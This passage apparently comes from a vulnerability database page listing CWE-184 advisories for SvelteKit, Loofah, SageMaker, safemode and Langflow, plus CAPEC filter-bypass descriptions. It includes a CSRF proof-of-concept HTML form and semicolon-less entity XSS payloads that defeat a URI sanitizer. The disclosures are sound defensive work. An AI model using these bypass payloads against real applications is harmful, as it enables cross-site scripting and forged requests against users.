"nvd_published_at": "2026-08-05T17:16:44Z",
"severity": "HIGH"
},
"details": "IBM Langflow OSS 1.0.0 through 1.10.3 could allow a remote attacker to execute arbitrary code due to improper validation of configuration parameters.",
"id": "GHSA-5jpf-5j69-486q",
"modified": "2026-08-05T18:31:37Z",
"published": "2026-08-05T18:31:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-17630"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7282147"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-5P75-VC5G-8RV2
Vulnerability from github – Published: 2023-04-04 21:20 – Updated: 2023-06-21 13:48Summary
The SvelteKit framework offers developers an option to create simple REST APIs. This is done by defining a +server.js file, containing endpoint handlers for different HTTP methods.
SvelteKit provides out-of-the-box cross-site request forgery (CSRF) protection to it’s users. The protection is implemented at kit/src/runtime/server/respond.js#L52. While the implementation does a sufficient job in mitigating common CSRF attacks, the protection can be bypassed by simply specifying a different Content-Type header value.
Details
The CSRF protection is implemented using the code shown below.
const forbidden =
// (1)
request.method === 'POST' &&
// (2)
request.headers.get('origin') !== url.origin &&
// (3)
is_form_content_type(request);
if (forbidden) {
// (4)
const csrf_error = error(403, `Cross-site ${request.method} form submissions are forbidden`);
if (request.headers.get('accept') === 'application/json') {
return json(csrf_error.body, { status: csrf_error.status });
}
return text(csrf_error.body.message, { status: csrf_error.status });
}
If the incoming request specifies a POST method (1), the protection will compare the server’s origin with the value of the HTTP Origin header (2). A mismatch between these values signals that a potential attack has been detected. The final check is performed on the request’s Content-Type header (3) whether the value is either application/x-www-form-urlencoded or multipart/form-data (kit/src/utils/http.js#L71). If all the previous checks pass, the request will be rejected with an 403 error response (4).
The is_form_content_type validation is not sufficient to mitigate all possible variations of this type of attack. If a CSRF attack is performed with the Content-Type header set to text/plain, the protection will be circumvented and the request will be processed by the endpoint handler.
Impact
If abused, this issue will allow malicious requests to be submitted from third-party domains, which can allow execution of operations within the context of the victim's session, and in extreme scenarios can lead to unauthorized access to users’ accounts.
Remediation
SvelteKit 1.15.1 updates the is_form_content_type function call in the CSRF protection logic to include text/plain.
As additional hardening of the CSRF protection mechanism against potential method overrides, SvelteKit 1.15.1 is now performing validation on PUT, PATCH and DELETE methods as well. This latter hardening is only needed to protect users who have put in some sort of ?_method= override feature themselves in their handle hook, so that the request that resolve sees could be PUT/PATCH/DELETE when the browser issues a POST request.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@sveltejs/kit"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.15.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-29003"
],
"database_specific": {
"cwe_ids": [
"CWE-184",
"CWE-352"
],
"github_reviewed": true,
"github_reviewed_at": "2023-04-04T21:20:47Z",
"nvd_published_at": "2023-04-04T22:15:00Z",
"severity": "HIGH"
},
"details": "### Summary\nThe SvelteKit framework offers developers an option to create simple REST APIs. This is done by defining a `+server.js` file, containing endpoint handlers for different HTTP methods.\n\nSvelteKit provides out-of-the-box cross-site request forgery (CSRF) protection to it\u2019s users. The protection is implemented at `kit/src/runtime/server/respond.js#L52`. While the implementation does a sufficient job in mitigating common CSRF attacks, the protection can be bypassed by simply specifying a different `Content-Type` header value.\n\n### Details\nThe CSRF protection is implemented using the code shown below.\n\n```js\nconst forbidden =\n // (1)\n request.method === \u0027POST\u0027 \u0026\u0026\n // (2)\n request.headers.get(\u0027origin\u0027) !== url.origin \u0026\u0026\n // (3)\n is_form_content_type(request);\n\nif (forbidden) {\n // (4)\n const csrf_error = error(403, `Cross-site ${request.method} form submissions are forbidden`);\n if (request.headers.get(\u0027accept\u0027) === \u0027application/json\u0027) {\n return json(csrf_error.body, { status: csrf_error.status });\n }\n return text(csrf_error.body.message, { status: csrf_error.status });\n}\n```\nIf the incoming request specifies a POST method (1), the protection will compare the server\u2019s origin with the value of the HTTP `Origin` header (2). A mismatch between these values signals that a potential attack has been detected. The final check is performed on the request\u2019s `Content-Type` header (3) whether the value is either `application/x-www-form-urlencoded` or `multipart/form-data` (`kit/src/utils/http.js#L71`). If all the previous checks pass, the request will be rejected with an 403 error response (4).\n\nThe `is_form_content_type` validation is not sufficient to mitigate all possible variations of this type of attack. If a CSRF attack is performed with the `Content-Type` header set to `text/plain`, the protection will be circumvented and the request will be processed by the endpoint handler.\n\u003c!--\n### PoC\nTo reproduce this issue, create and run a simple server (by default running on `localhost:3000`) with a POST endpoint handler such as:\n\n```js\nexport async function POST({ request }) {\n const data = await request.json(); \n console.log(JSON.stringify(data));\n return new Response(String(\u0027success\u0027));\n}\n```\n\nNext, save the malicious HTML page:\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\u003c/head\u003e\n\u003cbody\u003e\n \u003ch1 id=\"name\"\u003e\u003c/h1\u003e\n \u003cform action=\"http://localhost:3000/api/test\" method=\"POST\" enctype=\"text/plain\"\u003e\n \u003cinput type=\"hidden\" name=\"\u0026#123;\u0026quot;name\u0026quot;\u0026#58;\u0026quot;test\" value=\"\u0026quot;\u0026#44;\u0026quot;age\u0026quot;\u0026#58;123\u0026#125;\" /\u003e\n \u003cinput type=\"submit\" value=\"Submit\" /\u003e\n \u003c/form\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\nin a file named `index.html`. Run another web server, using Python\u2019s built in http.server module (`python -m http.server`, by default running on `localhost:8000`), navigate to [http://localhost:8000/index.html](http://localhost:8000/index.html) and click the `Submit` button. \n\nVerify that the browser\u2019s URL has changed to `localhost:3000` and that the text `success` is displayed on the screen. Additionally, inspect the console of the SvelteKit web server and verify that the request body (`{\"name\":\"test=\",\"age\":123}`) was parsed as valid JSON and printed out. \n\nIt\u0027s worth noting that this attack is possible only for JSON request bodies. Form data sent using `text/plain` will be rejected by the server. \n--\u003e\n### Impact\n\nIf abused, this issue will allow malicious requests to be submitted from third-party domains, which can allow execution of operations within the context of the victim\u0027s session, and in extreme scenarios can lead to unauthorized access to users\u2019 accounts.\n\n### Remediation\n\nSvelteKit 1.15.1 updates the `is_form_content_type` function call in the CSRF protection logic to include `text/plain`.\n\nAs additional hardening of the CSRF protection mechanism against potential method overrides, SvelteKit 1.15.1 is now performing validation on PUT, PATCH and DELETE methods as well. This latter hardening is only needed to protect users who have put in some sort of `?_method=` override feature themselves in their `handle` hook, so that the request that `resolve` sees could be `PUT`/`PATCH`/`DELETE` when the browser issues a `POST` request.",
"id": "GHSA-5p75-vc5g-8rv2",
"modified": "2023-06-21T13:48:08Z",
"published": "2023-04-04T21:20:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sveltejs/kit/security/advisories/GHSA-5p75-vc5g-8rv2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-29003"
},
{
"type": "WEB",
"url": "https://github.com/sveltejs/kit/commit/bb2253d51d00aba2e4353952d4fb0dcde6c77123"
},
{
"type": "PACKAGE",
"url": "https://github.com/sveltejs/kit"
},
{
"type": "WEB",
"url": "https://github.com/sveltejs/kit/releases/tag/%40sveltejs%2Fkit%401.15.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "SvelteKit vulnerable to Cross-Site Request Forgery"
}
GHSA-5QHF-9PHG-95M2
Vulnerability from github – Published: 2026-07-21 22:03 – Updated: 2026-07-21 22:03Summary
Loofah::HTML5::Scrub.allowed_uri? does not correctly reject javascript: or vbscript: URIs when the scheme is split by a numeric character reference that has no trailing semicolon. A browser decodes such references and resolves the URL to an executable javascript: scheme, while allowed_uri? reports it safe.
This is a bypass of the fix for GHSA-46fp-8f5p-pf2m, which handled numeric character references with a trailing ; (	, , ) but did not cover the forms without semicolons.
Details
allowed_uri? decodes HTML entities with CGI.unescapeHTML, which decodes numeric character references only when they carry a trailing ;. A reference without a semicolon such as : (colon) or 	 (tab) is left literal, so the scheme-detection check finds no scheme, and the method falls through to its scheme-less path and returns true.
A browser, however, decodes numeric character references even without a trailing semicolon. An encoded colon such as : becomes the : scheme separator, so javascript:alert(1) resolves to javascript:alert(1). Encoded whitespace such as 	 (tab) is decoded and then stripped from the URL, rejoining the surrounding text, so java	script:alert(1) also resolves to javascript:alert(1). In both cases the URL executes while allowed_uri? approved it as safe.
Note that Loofah's default sanitize() path is not affected, because Nokogiri decodes or entity-escapes HTML entities during parsing before Loofah evaluates the URI protocol. This issue only affects callers of the public allowed_uri? string-level helper that pass it HTML-encoded strings.
Impact
Callers that validate a user-controlled URL with Loofah::HTML5::Scrub.allowed_uri? and then render the approved value into an href or other browser-interpreted URI attribute may be vulnerable to cross-site scripting (XSS). This includes applications that call allowed_uri? directly, as well as higher-level features built on top of it, such as Action Text 8.2's markdown link validation.
Mitigation
Upgrade to Loofah >= 2.25.2.
Credit
Responsibly reported by GitHub user @MoonFuji.
;
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "loofah"
},
"ranges": [
{
"events": [
{
"introduced": "2.25.0"
},
{
"fixed": "2.25.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-184",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T22:03:11Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "## Summary\n\n`Loofah::HTML5::Scrub.allowed_uri?` does not correctly reject `javascript:` or `vbscript:` URIs when the scheme is split by a numeric character reference that has no trailing semicolon. A browser decodes such references and resolves the URL to an executable `javascript:` scheme, while `allowed_uri?` reports it safe.\n\nThis is a bypass of the fix for [GHSA-46fp-8f5p-pf2m](https://github.com/flavorjones/loofah/security/advisories/GHSA-46fp-8f5p-pf2m), which handled numeric character references with a trailing `;` (`\u0026#9;`, `\u0026#10;`, `\u0026#13;`) but did not cover the forms without semicolons.\n\n## Details\n\n`allowed_uri?` decodes HTML entities with `CGI.unescapeHTML`, which decodes numeric character references only when they carry a trailing `;`. A reference without a semicolon such as `\u0026#58` (colon) or `\u0026#9` (tab) is left literal, so the scheme-detection check finds no scheme, and the method falls through to its scheme-less path and returns `true`.\n\nA browser, however, decodes numeric character references even without a trailing semicolon. An encoded colon such as `\u0026#58` becomes the `:` scheme separator, so `javascript\u0026#58alert(1)` resolves to `javascript:alert(1)`. Encoded whitespace such as `\u0026#9` (tab) is decoded and then stripped from the URL, rejoining the surrounding text, so `java\u0026#9script:alert(1)` also resolves to `javascript:alert(1)`. In both cases the URL executes while `allowed_uri?` approved it as safe.\n\nNote that Loofah\u0027s default `sanitize()` path is **not** affected, because Nokogiri decodes or entity-escapes HTML entities during parsing before Loofah evaluates the URI protocol. This issue only affects callers of the public `allowed_uri?` string-level helper that pass it HTML-encoded strings.\n\n## Impact\n\nCallers that validate a user-controlled URL with `Loofah::HTML5::Scrub.allowed_uri?` and then render the approved value into an `href` or other browser-interpreted URI attribute may be vulnerable to cross-site scripting (XSS). This includes applications that call `allowed_uri?` directly, as well as higher-level features built on top of it, such as Action Text 8.2\u0027s markdown link validation.\n\n## Mitigation\n\nUpgrade to Loofah \u003e= 2.25.2.\n\n## Credit\n\nResponsibly reported by GitHub user @MoonFuji.",
"id": "GHSA-5qhf-9phg-95m2",
"modified": "2026-07-21T22:03:11Z",
"published": "2026-07-21T22:03:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/flavorjones/loofah/security/advisories/GHSA-5qhf-9phg-95m2"
},
{
"type": "WEB",
"url": "https://github.com/flavorjones/loofah/commit/f1be9d893b5a8dd79240441a912d8897e74c38c0"
},
{
"type": "PACKAGE",
"url": "https://github.com/flavorjones/loofah"
},
{
"type": "WEB",
"url": "https://github.com/flavorjones/loofah/releases/tag/v2.25.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Loofah `allowed_uri?` does not detect `javascript:` URIs split by numeric character references without semicolons"
}
GHSA-5R2P-PJR8-7FH7
Vulnerability from github – Published: 2026-03-05 22:01 – Updated: 2026-03-05 22:01Summary
This advisory addresses the use of the search_hub() function within the SageMaker Python SDK's JumpStart search functionality. An actor with the ability to control query parameters passed to the search_hub() function could potentially provide malformed input that causes the eval() function to execute arbitrary commands, access sensitive data, or compromise the execution environment.
A defense-in-depth enhancement has been implemented to replace code evaluation with safe string operations when processing search query parameters. This enhancement removes the use of eval() from the execution path, replacing it with a safe recursive descent parser. The change was released in SageMaker Python SDK version 3.4.0 on January 23, 2026. This advisory is informational to help customers understand their responsibilities regarding input validation and configuration security under the AWS Shared Responsibility Model.
Impact
Customer applications that pass unsanitized or untrusted input directly to the search_hub() function's query parameter could be prone to Remote Code Execution (RCE), potentially allowing attackers to execute arbitrary commands, access sensitive data, or compromise the execution environment. While the SDK was functioning within the requirements of the shared responsibility model—where input sanitization falls on the customer side—additional safeguards have been added to support secure customer implementations and provide defense-in-depth protection.
Impacted versions: All versions of SageMaker Python SDK prior to 3.4.0
Patches
On January 23, 2026, an enhancement was made to SageMaker Python SDK version 3.4.0, which replaces eval() with a safe recursive descent parser that uses string operations for pattern matching with proper operator precedence and exception handling. We recommend upgrading to version 3.4.0 or later, using the following command:
pip install --upgrade sagemaker>=3.4.0
Customers using forked or derivative code should incorporate the fixes from the referenced pull request.
Workarounds
No workarounds are needed, but as always you should ensure that your application is following security best practices: - Sanitize and validate input to SDK methods to ensure only expected formats are processed - Update to the latest SageMaker Python SDK release on a regular basis - Follow AWS security best practices for SDK configuration and usage - Ensure proper access controls are in place for environments where the SDK is deployed
References
- Fixed in PR: https://github.com/aws/sagemaker-python-sdk/pull/5497
- Release: https://pypi.org/project/sagemaker/3.4.0/
- AWS Shared Responsibility Model: https://aws.amazon.com/compliance/shared-responsibility-model/
If you have any questions or comments about this advisory, contact AWS Security via our vulnerability reporting page or email aws-security@amazon.com. Please do not create a public GitHub issue.
Acknowledgement
We thank Dan Aridor (@daridor9) and the security research community for bringing these customer security considerations to our attention through the coordinated disclosure process and for collaborating on this issue through responsible disclosure practices.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "sagemaker"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-184"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-05T22:01:09Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nThis advisory addresses the use of the search_hub() function within the SageMaker Python SDK\u0027s JumpStart search functionality. An actor with the ability to control query parameters passed to the search_hub() function could potentially provide malformed input that causes the eval() function to execute arbitrary commands, access sensitive data, or compromise the execution environment.\n\nA defense-in-depth enhancement has been implemented to replace code evaluation with safe string operations when processing search query parameters. This enhancement removes the use of eval() from the execution path, replacing it with a safe recursive descent parser. The change was released in SageMaker Python SDK version 3.4.0 on January 23, 2026. This advisory is informational to help customers understand their responsibilities regarding input validation and configuration security under the [AWS Shared Responsibility Model](https://aws.amazon.com/compliance/shared-responsibility-model/).\n\n\n## Impact\n\nCustomer applications that pass unsanitized or untrusted input directly to the search_hub() function\u0027s query parameter could be prone to Remote Code Execution (RCE), potentially allowing attackers to execute arbitrary commands, access sensitive data, or compromise the\u00a0execution environment. While the SDK was functioning within the requirements of the shared responsibility model\u2014where input sanitization falls on the customer side\u2014additional safeguards have been added to support secure customer implementations and provide defense-in-depth protection.\n\n**Impacted versions:** All versions of SageMaker Python SDK prior to 3.4.0\n\n\n## Patches\n\nOn January 23, 2026, an enhancement was made to SageMaker Python SDK version 3.4.0, which replaces eval() with a safe recursive descent parser that uses string operations for pattern matching with proper operator precedence and exception handling. We recommend upgrading to version 3.4.0 or later, using the following command:\n\n```\npip install --upgrade sagemaker\u003e=3.4.0\n```\nCustomers using forked or derivative code should incorporate the fixes from the referenced pull request.\n\n## Workarounds\n\nNo workarounds are needed, but as always you should ensure that your application is following security best practices:\n- Sanitize and validate input to SDK methods to ensure only expected formats are processed\n- Update to the latest SageMaker Python SDK release on a regular basis\n- Follow AWS security best practices for SDK configuration and usage\n- Ensure proper access controls are in place for environments where the SDK is deployed\n\n\n## References\n\n- Fixed in PR: https://github.com/aws/sagemaker-python-sdk/pull/5497\n- Release: https://pypi.org/project/sagemaker/3.4.0/\n- AWS Shared Responsibility Model: https://aws.amazon.com/compliance/shared-responsibility-model/\n\nIf you have any questions or comments about this advisory, contact AWS Security via our [vulnerability reporting page](https://aws.amazon.com/security/vulnerability-reporting/) or email [aws-security@amazon.com](mailto:aws-security@amazon.com). Please do not create a public GitHub issue.\n\n\n## Acknowledgement\n\nWe thank Dan Aridor (@daridor9) and the security research community for bringing these customer security considerations to our attention through the coordinated disclosure process and for collaborating on this issue through responsible disclosure practices.",
"id": "GHSA-5r2p-pjr8-7fh7",
"modified": "2026-03-05T22:01:09Z",
"published": "2026-03-05T22:01:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/aws/sagemaker-python-sdk/security/advisories/GHSA-5r2p-pjr8-7fh7"
},
{
"type": "WEB",
"url": "https://github.com/aws/sagemaker-python-sdk/pull/5497"
},
{
"type": "WEB",
"url": "https://github.com/aws/sagemaker-python-sdk/commit/e706e578519bd9b92ea44b9b15f872eca5e77ea4"
},
{
"type": "PACKAGE",
"url": "https://github.com/aws/sagemaker-python-sdk"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "SageMaker Python SDK replaced eval() with safe parser in JumpStart search functionality"
}
GHSA-5VX5-9Q73-WGP4
Vulnerability from github – Published: 2017-10-24 18:33 – Updated: 2023-09-05 21:30rubygem-safemode, as used in Foreman, versions 1.3.1 and earlier are vulnerable to bypassing safe mode limitations via special Ruby syntax. This can lead to deletion of objects for which the user does not have delete permissions or possibly to privilege escalation.
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "safemode"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.3.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2017-7540"
],
"database_specific": {
"cwe_ids": [
"CWE-184"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T21:17:24Z",
"nvd_published_at": "2017-07-21T22:29:00Z",
"severity": "CRITICAL"
},
"details": "rubygem-safemode, as used in Foreman, versions 1.3.1 and earlier are vulnerable to bypassing safe mode limitations via special Ruby syntax. This can lead to deletion of objects for which the user does not have delete permissions or possibly to privilege escalation.",
"id": "GHSA-5vx5-9q73-wgp4",
"modified": "2023-09-05T21:30:18Z",
"published": "2017-10-24T18:33:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-7540"
},
{
"type": "WEB",
"url": "https://github.com/svenfuchs/safemode/pull/23"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/safemode/CVE-2017-7540.yml"
},
{
"type": "PACKAGE",
"url": "https://github.com/svenfuchs/safemode"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Safemode Gem Has Incomplete List of Disallowed Inputs"
}
Mitigation
Strategy: Input Validation
Do not rely exclusively on detecting disallowed inputs. There are too many variants to encode a character, especially when different environments are used, so there is a high likelihood of missing some variants. Only use detection of disallowed inputs as a mechanism for detecting suspicious activity. Ensure that you are using other protection mechanisms that only identify "good" input - such as lists of allowed inputs - and ensure that you are properly encoding your outputs.
CAPEC-120: Double Encoding
The adversary utilizes a repeating of the encoding process for a set of characters (that is, character encoding a character encoding of a character) to obfuscate the payload of a particular request. This may allow the adversary to bypass filters that attempt to detect illegal characters or strings, such as those that might be used in traversal or injection attacks. Filters may be able to catch illegal encoded strings, but may not catch doubly encoded strings. For example, a dot (.), often used in path traversal attacks and therefore often blocked by filters, could be URL encoded as %2E. However, many filters recognize this encoding and would still block the request. In a double encoding, the % in the above URL encoding would be encoded again as %25, resulting in %252E which some filters might not catch, but which could still be interpreted as a dot (.) by interpreters on the target.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-182: Flash Injection
An attacker tricks a victim to execute malicious flash content that executes commands or makes flash calls specified by the attacker. One example of this attack is cross-site flashing, an attacker controlled parameter to a reference call loads from content specified by the attacker.
CAPEC-3: Using Leading 'Ghost' Character Sequences to Bypass Input Filters
Some APIs will strip certain leading characters from a string of parameters. An adversary can intentionally introduce leading "ghost" characters (extra characters that don't affect the validity of the request at the API layer) that enable the input to pass the filters and therefore process the adversary's input. This occurs when the targeted API will accept input data in several syntactic forms and interpret it in the equivalent semantic way, while the filter does not take into account the full spectrum of the syntactic forms acceptable to the targeted API.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-6: Argument Injection
An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.
CAPEC-71: Using Unicode Encoding to Bypass Validation Logic
An attacker may provide a Unicode string to a system component that is not Unicode aware and use that to circumvent the filter or cause the classifying mechanism to fail to properly understanding the request. That may allow the attacker to slip malicious data past the content filter and/or possibly cause the application to route the request incorrectly.
CAPEC-73: User-Controlled Filename
An attack of this type involves an adversary inserting malicious characters (such as a XSS redirection) into a filename, directly or indirectly that is then used by the target software to generate HTML text or other potentially executable content. Many websites rely on user-generated content and dynamically build resources like files, filenames, and URL links directly from user supplied data. In this attack pattern, the attacker uploads code that can execute in the client browser and/or redirect the client browser to a site that the attacker owns. All XSS attack payload variants can be used to pass and exploit these vulnerabilities.
CAPEC-85: AJAX Footprinting
This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.